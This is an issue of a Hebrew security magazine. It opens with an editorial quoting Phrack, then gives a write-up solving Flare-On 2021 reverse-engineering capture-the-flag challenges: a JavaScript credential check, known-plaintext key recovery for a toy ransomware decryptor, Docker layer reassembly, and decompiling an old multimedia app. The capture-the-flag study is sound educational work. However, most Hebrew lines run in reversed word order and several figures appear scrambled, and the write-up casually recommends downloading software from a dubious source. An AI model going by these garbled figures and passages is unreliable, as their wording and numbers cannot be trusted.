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 ךדבר העור 

 

רק מראה שעם לפני היציאה לשביל. זה עמודים...(  283)ועוד איזה! אחד עוד גליון  שנספיק מי היה מאמין

 אפשר להספיק לעשות כמעט כל דבר  -נכון, וכותבים מוכשרים וזריזים תכנון של לו"ז 

)הקודם יצא לפני ! Phrack לש 70-הליון הג, יצא החודש, מלבד הגליון שאתם אוחזים זה עתה בידיכם )?!(

 איכותי בגליון  Meta Hackingהרבה  רוצו לקרוא! - שנים( 5

 כוללים את הפיסקה הבאה: דברי הפתיחה של הגליון

“Phrack started as a community zine of exchanging technical 

information and hacking techniques in a time that it was hard to 

find it. It later changed. It became a symbol of achievement, 

eliteness, and honor to be published in Phrack.  

A slight but significant change happened afterwards. Phrack 

gravitated (willingly or not is the subject of another 

discussion) towards an academic medium. Academia noticed the high 

quality of Phrack papers, started citing them, and basing their 

offensive and defensive work on them.  

Did that alienate the underground that Phrack represented for so 

many years? Yes, we think it did. But the underground also 

changed. Some of it became involved in malware, spyware, and also 

the "infosec" industry. And this mutated the underground. Of 

course we don't judge.  

Shouldn't Phrack be the reflection of the community, whatever the 

community is? Or should Phrack be a beacon of the old school 

underground? Well, it remains to be seen. Phrack will always be 

alive as long as the community is alive, reflecting it. If the 

hacking community becomes "infosec" in its majority, then 

probably so will Phrack. If the heart of the community is CTF, 

Phrack will reflect that.  

If the community focuses on malware, so will Phrack. Isn't that 

what Phrack has always done? It always was and always will be "by 

the community, for the community". If the community has decided 

that Phrack has a five year release cycle, then that's where we 

are.” 

http://www.phrack.org/issues/70/1.html#article
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מה העולמית, אך ברמה המקומית, יצר בר Phrack-אפשר להשוות לרגע האימפקט הכל כך אדיר ש-אי

שלא לחייך בעת קריאת השורות מעלה קשה לי  הישראליתברמת קהילת ההאקינג ואבטחת המידע 

 ועל מה שכולנו יצרנו פה יחד לפני קצת יותר מעשור.  DigitalWhisperכשאני חושב על 

 רוח(, אני מאמין בכל ליבי שכל עוד 63גליון )הפעם,  Phrackואם כבר לצטט קטעים מדברי הפתיחה של 

, ממשיך להתקיים מעל גלי האתר עבריחיים פועמת בקרב קהיליית אבטחת המידע הישראלית, והאקינג 

 תקיים. יחדל מלה DigitalWhisperאין שום סיבה שהמגזין 

ואולי אין זמן טוב יותר לציין זאת שניה לפני שאנחנו לוקחים הפסקה של שלושה חודשים... הכותבים של 

החודש עמלו במרץ ועמדו בלו"זים מאוד צפופים כדי שנספיק להעשיר עוד את תחום האקינג בעברית 

 ל האמונה שבי.בעוד חומר איכותי, ואין כמו דברים כאלה כדי לחזק אצלי את התחושות לגבי נכונותה ש

התיקים שלנו מוכנים כמעט לגמרי, נעלי ההליכה מחכות בסבלנות שכמעט פוקעת, תחזית מזג האויר 

 נראת מושלמת, והדרך... הדרך כבר מזמן קוראת לנו לצאת...

 אז... נתראה בצד השני 

 

על כאמור, ולכל מי שנתן יד החודש וכתב מאמר. ל, אי אפשר בלי להגיד תודה מכירים את הנוהואתם 

מנת שהגליון הנ"ל ייצא חרף כל העומס שהיה החודש, הכותבים נדרשו להעמיד את המאמרים מוקדם 

, תודה (m4gnumעומר כץ )שאפו רציני לכולם! אז: תודה רבה ל -והצליחו לעשות זאת, ועל כך  -מהרגיל 

, ערן נחשוןתודה רבה ל, אור פרגרתודה רבה לעידו טולדנו, תודה רבה ל(, MeitarRמיתר ריחן )רבה ל

 !עדי מליאנקרותודה רבה לנתנאל כהן , תודה רבה ליהב ארמרמןתודה רבה ל

 קריאה נעימה,

 אפיק קסטיאל   

  

http://www.phrack.org/issues/68/1.html
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 Flare-On 2021 אתגרי פתרון

 (MeitarR) ריחן ומיתר( m4gnum) כץ עומר מאת

 

 הקדמה

 של FLARE (Front Line Applied Research & Expertise) צוות מפרסם, ספטמבר חודש באיזור, שנה בכל

 בצורה ובנויים, Reverse Engineering-ב שמתמקדים CTF אתגרי של שורה FireEye / Mandiant חברת

 בפורמט דגל להשיג היא המטרה, אתגר בכל. יום-ביום איתם מתמודד FLARE שצוות האתגרים את שמייצגת

-וב עולם בתהילת זוכים האתגרים כל את שפותרים אלו. flare-on.com@-ב שמסתיימת מייל כתובת של

Merch החברה מטעם נחמד  

אתגרי הנדסה לאחור שנוגעים בעולמות שונים ובכישורי מחקר מגוונים, ביניהם:  12השנה, פורסמו 

מהסנפות תקשורת  Payloads רברסינג קלאסי של בינארים, התמודדות עם אובפוסקציות מורכבות, חילוץ

ברשת, אוטומציה של תהליכי מחקר, וניתוח של בינארים איזוטריים. במאמר זה נסקור את דרך החשיבה 

ואנו ממליצים  כאן דדות שלנו עם כל אחד מהאתגרים, ואת הפתרונות בפועל. כל האתגרים זמיניםוההתמו

 .מאוד להתנסות איתם בפועל במהלך קריאת המאמר

 
 ]הפרס השנה[

 אז בואו נתחיל!

https://flare-on.com/files/Flare-On8_Challenges.zip
https://flare-on.com/files/Flare-On8_Challenges.zip
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 Credchecker - 3 אתגר

"Welcome to Flare-On 8! This challenge surves as your tutorial mission for the epic quest you are about to 

emark upon. Reverse engineer the Javascript code to determine the correct username and password the 

web page is looking for and it will show you the flag. Enter that flag here to advance to the next stage. All 

flags will be in the format of valid email addresses and all end with "@flare-on.com". 

 את נזין כאשר, האתגר תיאור לפי. התחברות ממשק בתוכו שכולל אינטרנט אתר מקבלים אנו, זה באתגר

 :הדגל בפנינו וצגי, הנכונים והסיסמה המשתמש שם

 

 מאוד מהר. קוד בעורך העמוד של המימוש את נבחון, הנכונים והסיסמה המשתמש שם מה להבין מנת על

 :אותו ומציגה דגל מחשבת, נכונים הם ואם, והסיסמה המשתמש שם את שבודקת פונקציה שיש לב נשים

function checkCreds() { 

  if (username.value == "Admin" && atob(password.value) == "goldenticket

")  

  { 

    var key = atob(encoded_key); 

    var flag = ""; 

    for (let i = 0; i < key.length; i++) 

    { 

      flag += String.fromCharCode(key.charCodeAt(i) ^ password.value.cha

rCodeAt(i % password.value.length)) 

    } 

    document.getElementById("banner").style.display = "none"; 

    document.getElementById("formdiv").style.display = "none"; 

    document.getElementById("message").style.display = "none"; 

    document.getElementById("final_flag").innerText = flag; 

    document.getElementById("winner").style.display = "block"; 
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  } 

  else 

  { 

    document.getElementById("message").style.display = "block"; 

  } 

} 

 היא לה מצפה שהעמוד הסיסמה וכי, Admin הוא לו מצפה שהעמוד המשתמש שם כי במימוש לראות ניתן

 למידע decode עושה atob שהפונקציה מכך זאת להבין ניתן. base64-ב מקודד goldenticket הערך

 כי ונראה goldenticket הערך על base64 נחשב, בפועל הסיסמה את לגלות מנת על. base64-ב שמקודד

 . Z29sZGVudGlja2V2 הוא המתקבל הערך

 :הדגל את ונקבל שמצאנו המשתמש שם ואת אותו נזין
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 Known - 4 אתגר

We need your help with a ransomware infection that tied up some of our critical files. Good luck. 

 אנו. קריטיים קבצים מספר שהצפינה כופר תוכנת עם בהתמודדות לעזור מתבקשים אנו, זה באתגר

 ונראה הפענוח תוכנת את נריץ. מוצפנים קבצים ומספר, UnlockYourFiles.exe: בשם פענוח תוכנת מקבלים

 :לנו זמין שאינו, פענוח מפתח מאיתנו מבקשת היא כי

 

 :encrypted הסיומת נוספה שלכולם ונראה, שהוצפנו הקבצים את כעת נסקור

 

 PNG קבצי, לדוגמה. במקור הקבצים מתוכן חלקים להבין לנו מאפשרת שהיא מכיוון, חשובה אבחנה זוהי

 המקורי הערך מהו יודעים שאנו כך(, 0A 1A 0A 0D 47 4E 50 89) בתים של קבועה בחתימה מתחילים תמיד

 עבור וגם JPEG-ה קובץ עבור גם תקפה הזו המסקנה. המוצפן png-ה בקובץ הראשונים הבתים שמונת של

 את מכיל בוודאות שכמעט, בתים 02 באורך latin_alphabet.txt בשם קובץ שיש נראה, כן כמו. GIF-ה קובץ

 . קטנות או גדולות באותיות הלטיניים התווים כל

 של מהחתימה לנו שידועים הבתים באמצעות מהמפתח חלק ולהדליף מסוים טריק לעשות שנוכל להיות יכול

PNG ,ה בקובץ הראשונים הבתים את באמצעותו ולפענח-TXT ,גדולות באותיות מדובר האם להבין וכך 

 תלוי הכל. המפתח כל את לחשוף והפעם, TXT-ה קובץ על מחדש הטריק אותו את לעשות ואז, וקטנות

לכן, נחקור אותה כעת, על ידי טעינה של תוכנת הפענוח בכלי מחקר . ההצפנה ובשיטת המפתח באורך

 . IDA Pro-סטטי, במקרה שלנו, ב
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 :בדיקומפיילר הראשית הפונקציה את כעת נבחן

 

 מסוימת הודעה מציגה, מכן לאחר, בהרצה שראינו בצבע console-ה את מקנפגת שהפונקציה לראות ניתן

 כלשהי פונקציה מריצה היא, כן אחרי. למעשה המפתח שהם, תווים שמונה console-מה וקוראת, למשתמש

 לא TXT-ה קובץ עם שהטריק מסתמן, כך אם. ויוצאת(, הפענוח פונקצית כנראה שזו) המפתח את שמקבלת

 כעת נבחן. המפתח את לגזור מנת על PNG-ה חתימת של הבתים שמונת רק יספיקו הנראה וככל, נחוץ יהיה

 :הפענוח פונקצית שהיא שהנחנו, המפתח את שמקבלת הפונקציה את

 שמסתיימים הקבצים כל על ורצה(, PathName-שב הערך/ )Files התיקייה על איטרציה עושה שהיא נראה

 את שמקבלת פנימית לפונקציה קוראת היא, קובץ כל עבור(. FileName-שב הערך) encrypted בסיומת

 עבור הפענוח את מבצעת שכנראה זו שהיא כך, המפוענח הקובץ שם ואת המוצפן הקובץ שם את, המפתח

 :אותה כעת נבחן. בפועל הספציפי הקובץ
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 המוצפן התוכן את קוראת מכן ולאחר, המפוענח ולקובץ המקורי לקובץ handle פותחת זו שפונקציה נראה

 פונקצית כנראה שהיא, המפתח ואת אותו שמקבלת פונקציה כזה בלוק כל על מריצה, בתים 8 של בבלוקים

 הרבה לחסוך שהצלחנו לב שימו. המפוענח לקובץ שלה התוצאה את כותבת מכן ולאחר, האמיתית הפענוח

 בין עובר הוא כיצד עקבנו פשוט. בתכנית המפתח של הפעפוע זיהוי ידי על מיותרים בפרטים התעסקות

 חלקים של ניתוח על זמן לבזבז ולא המרכזית בפונקציונליות להתרכז הצלחנו וכך, השונות הפונקציות

 במשימות אך, כך כל משמעותי באמת לא זה יחסית פשוט באתגר ומדובר מאחר הסתם מן. מיותרים

 הפענוח פונקצית את כעת נבחן. המחקר את למקד מאוד עוזרת בעיקר הזו ההתרכזות, יותר מורכבות

 :בפועל

 

 

 עושה, במפתח המתאים הבית עם מהם אחד כל מקסרת, בבלוק הבתים כל על רצה זו פונקציה כי נראה

rotate left לתוצאה i הערך את ממנה מחסרת מכן ולאחר, פעמים i ,כאשר i הבית של האופסט הוא 

 . בבלוק הרלוונטי
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 והמקוריים המוצפנים הבתים 8 על שרץ קטן סקריפט לכתוב נצטרך, המפתח את להשיג מנת על, כך אם

 אותו מקסר מכן ולאחר, rotate right פעמים i לו עושה, i את לו מוסיף, מקורי בית כל לוקח, PNG-ה בקובץ

 :המוצפן הבית עם

def rol(val, n): 

    return ((val << n) | (val >> (8 - n))) & 0xff 

 

def ror(val, n): 

    return rol(val, 8 - n) 

 

BLOCK_LEN = 8 

 

PLAINTEXT = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A] 

CIPHERTEXT = [0xC7, 0xC7, 0x25, 0x1D, 0x63, 0x0D, 0xF3, 0x56] 

 

key = [] 

for i in range(BLOCK_LEN): 

    key.append(ror((PLAINTEXT[i] + i) & 0xff, i) ^ CIPHERTEXT[i]) 

 

raw_key = ''.join(map(chr, key)) 

print '[*] key:', raw_key 

 לו ונספק UnlockYourFiles.exe את נריץ כעת. No1Trust הערך הוא המפתח כי ונקבל, הסקריפט את נריץ

 :הדגל את critical_data.txt של בתוכן ונמצא, פוענחו הקבצים כל כי נראה. שמצאנו המפתח את

(>0_0)> You_Have_Awakened_Me_Too_Soon_EXE@flare-on.com <(0_0<) 
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  Antioch - 5 תגרא

To solve this challenge, you'll need to ...AAARGH 

 :בפועל בו יושב מה להבין מנת על, אותו נחלץ. antioch.tar בשם tar קובץ מקבלים אנו, זה באתגר

# tar tf antioch.tar 

09e6fff53d6496d170aaa9bc88bd39e17c8e5c13ee9066935b089ab0312635ef/ 

09e6fff53d6496d170aaa9bc88bd39e17c8e5c13ee9066935b089ab0312635ef/VERSION 

09e6fff53d6496d170aaa9bc88bd39e17c8e5c13ee9066935b089ab0312635ef/layer.t

ar 

09e6fff53d6496d170aaa9bc88bd39e17c8e5c13ee9066935b089ab0312635ef/json 

[...] 

manifest.json 

repositories 

 layerfs-ב והשימוש, repositories-ו manifest.json הקבצים. docker image-ב מדובר, נראה שזה כפי

 :אותו נטען. Docker של image-ב שמדובר מאוד טובה אינדיקציה נותנים

# docker load --input antioch.tar 

d26c760acd6e: Loading layer 

[==================================================>]  14.85kB/14.85kB 

Loaded image: antioch:latest 

. לראות שאפשר כפי, נטענת אחת שכבה ורק אך, שכבות בתוכן שמכילות תיקיות המון שיש למרות, מעניין

 :image-ה את נריץ, ולבינתיים, זה את נזכור

# docker run --rm -it antioch 

AntiochOS, version 1.32 (build 1975) 

Type help for help 

> 

> help 

Available commands: 

help: print this help 

...AAARGH 

 

> 

 ולרברס הבינארי לתוך לצלול ניאלץ ולכן, שימושי משהו מניבה בדיוק לא help-ה פקודת, לראות שאפשר כפי

-ה מקובץ נחלץ, עצמו הבינארי את להשיג כדי. בפועל מספק שהוא הפונקציונליות מה להבין מנת על אותו

manifest ה נבנה שממנה השכבה את-image: 

# tar xf antioch.tar manifest.json 

# jq '.[] | {Layers}' manifest.json 

{ 

  "Layers": [ 

    

"7016b68f19aed3bb67ac4bf310defd3f7e0f7dd3ce544177c506d795f0b2acf3/layer.

tar" 

  ] 

} 
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 :הבינארי את ונשלוף אותה נחלץ, מדובר שכבה באיזה יודעים כשאנחנו, כעת

# tar xf antioch.tar 

7016b68f19aed3bb67ac4bf310defd3f7e0f7dd3ce544177c506d795f0b2acf3/layer.t

ar 

# cd 7016b68f19aed3bb67ac4bf310defd3f7e0f7dd3ce544177c506d795f0b2acf3 

# tar xvf layer.tar 

AntiochOS 

 נחפש, כל קודם. שלו בניתוח ונתחיל, ELF בקובץ מדובר כי נראה. IDA-ב AntiochOS הקובץ את נפתח, כעת

 :שנתמכות הפקודות את לזהות מנת על בהם להיעזר שנוכל, מעניינים סטרינגים

 

 כפי ?help כמו ופקודות, שראינו prompts-ה נטענו מאיפה, כך אם… סטרינגים שום מוצאת לא IDA, מוזר

, לדוגמה. ריצה בזמן באפרים לתוך קבועים סטרינגים שטוענות פונקציות מכיל הבינארי, נראה שזה

 :"?What is your name" הסטרינג
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 אם. ברור העקרון, אופן בכל. ריצה בזמן הסטרינגים את מפענחות שגם יותר מורכבות פונקציות ישנן, כן כמו

 את שמייצג שם עם ריצה בזמן סטרינג שבונה כזו פונקציה כל ונתייג, התכנית של entry-ה על נסתכל, כך

 :בה שנבנה הסטרינג

void __noreturn start() 

{ 

  // [....] 

 

  while ( 1 ) 

  { 

    if ( !read(0, buffer, 0x80uLL) ) 

      break; 

    get_quit_command(compared_command); 

    if ( !memcmp((__int64)buffer, (__int64)compared_command, 5LL) ) 

      break; 

    get_help_command(compared_command); 

    if ( !memcmp((__int64)buffer, (__int64)compared_command, 5LL) ) 

    { 

      help_command(); 

    } 

    else 

    { 

      get_consult_command(compared_command); 

      if ( !memcmp((__int64)buffer, (__int64)compared_command, 8LL) ) 

      { 

        consult_command(); 

      } 

      else 

      { 

        get_approach_command(compared_command); 

        if ( !memcmp((__int64)buffer, (__int64)compared_command, 9LL) ) 

          approach_command(); 

      } 

    } 

  } 

  

  // [...] 

} 

 

 :הן שנתמכות הפקודות, כך אם

 help - מעניין לא סיוע ממשק מציגה 

 quit - התכנית את סוגרת, בבירור 

 consult - ? 

 approach - ? 

 :consult עם נתחיל. מבצעות הן מה להבין מנת על, האחרונות הפקודות שתי של המימוש את כעת נחקור

__int64 consult_command() 

{ 

  // [...] 

 

  current_char = 'a'; 

  file = "..dat"; 

  memset(xored_block, 0, sizeof(xored_block)); 
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  do 

  { 

    while ( 1 ) 

    { 

      file[0] = current_char; 

      fd = open(file); 

      if ( fd >= 0 ) 

        break; 

      if ( ++current_char == '{' ) 

        goto finished_reading; 

    } 

 

    read(v2, buf, 0x1000); 

    close(fd); 

 

    xored_block_ptr = xored_block; 

    buf_ptr = buf; 

 

    do 

    { 

      *xored_block_ptr++ ^= *buf_ptr; 

      buf_ptr++; 

    } 

    while ( xored_block_ptr != &xored_block_end ); 

 

    ++current_char; 

  } 

  while ( current_char != '{' ); 

 

finished_reading: 

  if ( !xmmword_404100 ) 

  { 

    xmmword_404100 = (__int128)_mm_load_si128((const __m128i 

*)&xmmword_402240); 

    xmmword_404110 = xmmword_404100; 

    xmmword_404120 = xmmword_404100; 

    xmmword_404130 = xmmword_404100; 

    xmmword_404140 = xmmword_404100; 

    xmmword_404150 = xmmword_404100; 

    xmmword_404160 = xmmword_404100; 

    xmmword_404170 = xmmword_404100; 

    xmmword_404180 = xmmword_404100; 

    xmmword_404190 = xmmword_404100; 

    xmmword_4041A0 = xmmword_404100; 

    xmmword_4041B0 = xmmword_404100; 

    xmmword_4041C0 = xmmword_404100; 

    xmmword_4041D0 = xmmword_404100; 

    xmmword_4041E0 = xmmword_404100; 

    xmmword_4041F0 = xmmword_404100; 

    qmemcpy(&xmmword_404100, 

"V',`)(//\\\\\\||||||||||||_______________", 38); 

  } 

 

  for ( i = 0LL; i != 4096; ++i ) 

  { 

    added_val = '\n'; 

    if ( (i & 0xF) != 15 ) 
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      added_val = *((_BYTE *)&xmmword_404100 + (unsigned 

__int8)xored_block[i]); 

    xored_block[i] = added_val; 

  } 

 

  return write(1, xored_block, 4096); 

} 

 בגודל להיות שאמורים( קיימים שאינם כאלו למעט) z.dat עד a.dat בשם קבצים קוראת שהפונקציה נראה

 אחד כל של בערך משתמשת, מכן ולאחר, השני עם אחד שלהם התוכן את מקסרת, אחד כל בתים 6292

 רוב. המסך על לתו XOR-ה של סופי ערך כל בין התאמה שמכיל, תווים 052 באורך Buffer-ל כאופסט מהם

 הבינארי עם הזו לפקודה כשנקרא. כלשהו קבוע מערך נטענים הראשונים 38-וה, נקודות הם התווים

. כלשהו ASCII Art להצגת הזו בפונקציה שימוש שיהיה להניח אפשר אך, המסך על יבריש'ג נראה, שהרצנו

 :approach לפקודה כעת נמשיך

void approach_command() 

{ 

  // [...] 

 

  user_index = 0LL; 

  name_len = read(0, buffer, 0x80uLL); 

  name_hash = calc_crc32(buffer, name_len); 
  user_list_ptr = &first_user; 

  current_name_hash = 0xB59395A9; 

 

  while ( current_name_hash != name_hash ) 

  { 

    user_index++); 

    if ( user_index == 30 ) 

      return write(1u, (__int64)"...AAARGH\n\n", 11LL); 

    current_name_hash = *user_list_ptr; 

    user_list_ptr += 3; 

  } 

 

  if ( read(0, buffer, 0x80uLL) > 1 ) 

  { 

    color_len = read(0, buffer, 0x80uLL); 

    color_hash = calc_crc32(buffer, color_len); 
    user_data = &user_list[3 * user_index]; 

 

    if ( user_data[1] != color_hash ) 

    { 

      user_id = *((_BYTE *)user_data + 8); 

      if ( user_id > 0 ) 

      { 

        num_to_string(user_id, buffer); 

        write(1u, (__int64)buffer, strlen(buffer)); 

        return write(1u, (__int64)&newline, 1LL); 

      } 

    } 

  } 

 

  write(1u, (__int64)"...AAARGH\n\n", 11LL); 

} 
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 של hardcoded ברשימה הוא האם ובודקת, CRC32 עליו מחשבת, שם מקבלת הפונקציה, לראות שניתן כפי

CRC32 שמות של: 

.rodata:000000000040200C user_list      dd 5EFDD04Bh, 3F8468C8h, 12h 

.rodata:000000000040200C                dd 0ECED85D0h, 82D23D48h, 2 

.rodata:000000000040200C                dd 0D8549214h, 472EE5h, 1Dh 

.rodata:000000000040200C                dd 2C2F024Dh, 0C9A060AAh, 0Ch 

.rodata:000000000040200C                dd 18A5232h, 24D235h, 0Dh 

.rodata:000000000040200C                dd 72B88A33h, 81576613h, 14h 

.rodata:000000000040200C                dd 674404E2h, 5169E129h, 0Bh 

.rodata:000000000040200C                dd 307A73B5h, 0E560E13Eh, 1Ch 

.rodata:000000000040200C                dd 13468704h, 2358E4A9h, 15h 

.rodata:000000000040200C                dd 94F6471Bh, 0D6341A53h, 5 

.rodata:000000000040200C                dd 0EDA1CF75h, 0BAFA91E5h, 18h 

.rodata:000000000040200C                dd 0BBAC124Dh, 0A697641Dh, 19h 

.rodata:000000000040200C                dd 0F707E4C3h, 0EF185643h, 7 

.rodata:000000000040200C                dd 0D702596Fh, 79C28915h, 0Ah 

.rodata:000000000040200C                dd 86A10848h, 59108FDCh, 1 

.rodata:000000000040200C                dd 0D640531Ch, 0EF3DE1E8h, 13h 

.rodata:000000000040200C                dd 7B665DB3h, 0A3A903B0h, 3 

.rodata:000000000040200C                dd 0AB1321CCh, 0EEEDEAD7h, 4 

.rodata:000000000040200C                dd 4F6066D8h, 9C8A3D07h, 11h 

.rodata:000000000040200C                dd 256047CAh, 4085BE9Eh, 9 

.rodata:000000000040200C                dd 3FC91ED3h, 379549C9h, 8 

.rodata:000000000040200C                dd 0A424AFE4h, 0EF871347h, 1Bh 

.rodata:000000000040200C                dd 550901DAh, 1FCEC6Bh, 10h 

.rodata:000000000040200C                dd 10A29E2Dh, 0E76056AAh, 16h 

.rodata:000000000040200C                dd 56CBC85Fh, 356F1A68h, 0Fh 

.rodata:000000000040200C                dd 80DFE3A6h, 9D0AB536h, 1Eh 

.rodata:000000000040200C                dd 0E657D4E1h, 0B4E9FD30h, 17h 

.rodata:000000000040200C                dd 2BA1E1D4h, 0BE66D918h, 1Ah 

.rodata:000000000040200C                dd 7D33089Bh, 67C1F585h, 6 

 :מייצגת הזו בטבלה שורה שכל מבינים אנו, הפונקציה של הניתוח בזכות, כן כמו

 CRC32 שם של 

 CRC32 מועדף צבע של 

 כלשהו אינדקס 

, כן ואם, נכון מועדף צבע מספקים שאנחנו בודקת, כלשהו שם מאיתנו מבקשת approach הפקודה, כך אם

 הבינארי לגבי אינפורמציה המון לנו יש, כך אם. הרלוונטי המשתמש של האינדקס את מדפיסה

 .כולם בין שמחבר הלוגי החוט את עדיין לנו אין אך, שלו והפונקציונליות

 אם. image-ב בפועל בשימוש היו שלא שכבות המון בתוכו ראינו, כזכור. שקיבלנו tar-ה קובץ על שוב נסתכל

 יש שכבה בכל כי אם) z.dat עד a.dat השמות עם קבצים מכילה בפועל שהיא נראה, כזו שכבה כל על נסתכל

 (:חסרים קבצים מספר

# mkdir tmp_tar 

# tar xf antioch.tar -C tmp_tar 

# cd tmp_tar 

# tar tf 

09e6fff53d6496d170aaa9bc88bd39e17c8e5c13ee9066935b089ab0312635ef/layer.t

ar 
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a.dat 

c.dat 

d.dat 

e.dat 

f.dat 

i.dat 

j.dat 

k.dat 

l.dat 

q.dat 

t.dat 

u.dat 

v.dat 

x.dat 

y.dat 

z.dat 

 שונים ערכים שמכיל author field יש שבתוכו ונראה, לגביה metadta עם JSON קובץ יש שכבה בכל, כן כמו

 :שכבה בכל

# jq .author */json 

"Dragon of Angnor" 

"Roger the Shrubber" 

"Dinky" 

"Dennis the Peasant" 

"Sir Ector" 

"A Famous Historian" 

"Tim the Enchanter" 

"Sir Gawain" 

"Trojan Rabbit" 

null 

"Sir Robin" 

"Green Knight" 

"Sir Bedevere" 

"Squire Concorde" 

"Sir Not-Appearing-in-this-Film" 

"Legendary Black Beast of Argh" 

"Sir Gallahad" 

"Lady of the Lake" 

"Zoot" 

"Miss Islington" 

"Chicken of Bristol" 

"Rabbit of Caerbannog" 

"Black Knight" 

"Prince Herbert" 

"Brother Maynard" 

"King Arthur" 

"Sir Bors" 

"Squire Patsy" 

"Bridge Keeper" 

"Inspector End Of Film" 

"Sir Lancelot" 

 

 כך, נכשלים ולא הבאה לשאלה עוברים שאנחנו נראה, approach-ל הללו מהשמות אחד כל מגישים אנו אם

 כל בין לחבר שעשוי מחשבה חוט כאן לנו להתבשל מתחיל. CRC32-ה ערכי שברשימת השמות שאלו
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 מסוים id עם, author לקשר ניתן מהן אחת שלכל, dat. קבצי שמכילות שכבות לנו יש, שראינו כפי… החלקים

 של הסדר את לנו מייצג approach של id-ה אולי. בשימוש אינן הללו השכבות כל. מחזיר approach-ש

 לפי השנייה אחרי אחת ידנית השכבות את נחלץ? ידני באופן מחדש אותן לבנות לנו ויאפשר, הללו השכבות

 הקבצים את שמייצגים dat. קבצי של אוסף בידינו יהיה, וכעת(, 32-ב ונסיים 1-ב נתחיל) שלהן הסדר

 ונראה, consult הפקודה את להריץ ננסה, כעת. לנו נתן approach-ש השכבות סדר לפי, layerfs-ב הסופיים

 :layerfs-מה כעת שהרכבנו הקבצים עבור שלה output-ה מה

# ls 

a.dat  b.dat  c.dat  d.dat  e.dat  f.dat  g.dat  h.dat  i.dat  j.dat  

k.dat  l.dat  m.dat  n.dat  o.dat  p.dat  q.dat  r.dat  s.dat  t.dat  

u.dat  v.dat  w.dat  x.dat  y.dat  z.dat 

# ../AntiochOS 

AntiochOS, version 1.32 (build 1975) 

Type help for help 

> consult 

Consult the Book of Armaments! 

............... 

............... 

............... 

............... 

............... 

............... 

............... 

............... 

............... 

....______..... 

...|..____|.... 

...|.|__....... 

...|..__|...... 

...|.|......... 

...|_|......... 

............... 

 : האתגר של הדגל של ASCII Art מציגה כעת consult הפקודה, לראות שאפשר כפי

Five_Is_Right_Out@flare-on.com 

 !נייס

  



 
 

 Flare-On 2021 פתרון אתגרי
www.DigitalWhisper.co.il 

 42  4243 נובמבר ,357גליון 
 

  Myaquaticlife - 6 אתגר

What would Flare-On do without a healthy amount of nostalgia for the abraisive simplicity of 1990's UI 

design? Probably do more actual work and less writing fun challenges like this. 

 מנת על אותו נריץ. myaquaticlife.exe בשם( PE / .exe) י-Windows הרצה קובץ מקבלים אנו, זה באתגר

 :שלו ההתנהגות מה ותלרא

 

 קורה שלא ונראה, המסך על שמופיעות החיות על נלחץ. עושה הוא מה להבין כדי הבינארי עם לשחק ננסה

 . למעשה כלום
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 הטקסט על לחצנו שבטעות ואחרי, משהו שיקרה עד במסך אקראיים מקומות מלא על ללחוץ ננסה. מוזר

(What's your favorite aquatic animal? ,)שהבחירה שטוען בתוכנה אחר לעמוד מובלים שאנחנו נראה 

 :נכונה לא הייתה שלנו

 

, הטקסט על מכן ולאחר חיה כל על ללחוץ ידנית ננסה. הנכונה החיה על ללחוץ היא שהמטרה נראה, כך אם

 של רצף על ללחוץ שעלינו להיות יכול, כך אם. שגויה שלנו שהבחירה טוענת התכנית המקרים שבכל ונראה

 גישה לשנות נצטרך, כך אם. הזה במקרה בחשבון בא לא ידני Bruteforce-ש ככה, אופציות המון יש? חיות

 .הנחוץ הלחיצות רצף מהו לגלות כדי, בבינארי קורה מה בדיוק ולהבין, whitebox-ל blackbox-מ כאן

 :הבאה השורה את מציגה התכנית של החלון של התחתון בחלק הסתכלות

created with unregistered version of multimedia builder 
 

 אפליקציות לפיתוח MMB (MultiMedia Builder) בשם מאוד ישן במנוע מדובר כי מראה בגוגל קצר חיפוש

GUI-יות :https://www.mediachance.com/mmb .לעשות ניתן אם לראות ננסה, כך אם ecompileD 

 .יותר בקלות לרברס נוכל שאותם, MMB-ה של המקוריים הפרויקט לקבצי כאלו לבינארים

  

https://www.mediachance.com/mmb/
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 :זה את בדיוק לעשות שאמור בגיטהאב נחמד פרויקט ונמצא, כזה דיקומפיילר בגוגל נחפש

https://github.com/qprotex/MMUnbuilder 

 של mbd קובץ ונקבל, באתגר שקיבלנו הבינארי את כארגומנט לו ונספק, הפייתון סקריפט את נריץ

 את ונפתח, ברשת רנדומי מפוקפק ממקור MMB של המתאימה הגרסה את נוריד! נהדר עובד. הפרויקט

 :כלשהו פלאגין בתוכו שיש נראה. הפרויקט

 

 של אוסף מטריגות המסך על שהחיות נראה, כן כמו. fathom.dll שנקרא חיצוני DLL-ב נמצא הפלאגין

 :בפרויקט שנמצאים סקריפטים

 

https://github.com/qprotex/MMUnbuilder
https://github.com/qprotex/MMUnbuilder
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 עם PluginSet לפונקציה קריאה מבצעים, Script17 למעט שכולם מראה, הסקריפטים כל על מעבר

 :לדוגמה. משתנים פרמטרים

part3$='flotsam:BGgsuhn' 

PluginSet("PlugIn","part3$") 
 

 :יותר מורכב משמעותית Script17, זאת לעומת

PluginRun("PlugIn","PluginFunc19") 

PluginGet("PlugIn","var1$") 

NextPage() 

LoadVariable("visitors","count") 

count = count + 1 

SaveVariable("visitors","count") 

vc$='Visitor Counter: ' + CHAR(count) 

CreateText("mytext","visitlabel$,1050,580,yippy") 

LoadText("visitlabel$","vc$") 

colr$='TEXTCOLOR=255,0,0' 

SetObjectParam("outlabel$","colr$") 

SetObjectParam("outlabel$","FONTNAME=Comic Sans MS") 

SetObjectParam("outlabel$","FONTSIZE=24") 

colors$[1] = '255,0,0' 

colors$[2] = '0,255,0' 

colors$[3] = '0,0,255' 

colors$[4] = '255,0,0' 

colors$[5] = '0,255,0' 

colors$[6] = '0,0,255' 

colors$[7] = '255,0,0' 

colors$[8] = '0,255,0' 

colors$[9] = '0,0,255' 

colors$[10] = '255,0,0' 

colors$[11] = '0,255,0' 

colors$[12] = '0,0,255' 

colors$[13] = '255,0,0' 

colors$[14] = '0,255,0' 

colors$[15] = '0,0,255' 

For Loop= 1 To 1000 

  For Counter= 1 To 15 

    CreateText("mytext","outlabel$,20,100 + 50 * Counter,yippy") 

    LoadText("outlabel$","var1$") 

    colr$='TEXTCOLOR='+colors$[Counter] 

    SetObjectParam("outlabel$","colr$") 

    SetObjectParam("outlabel$","FONTNAME=Comic Sans MS") 

    SetObjectParam("outlabel$","FONTSIZE=48") 

    Pause("1000") 

    DeleteObject("outlabel$") 

  Next Counter 

Next Loop 

 ערך את לוקח, פרמטרים ללא שראינו בפלאגין PluginFunc19 לפונקציה קורא הזה שהסקריפט מסתמן

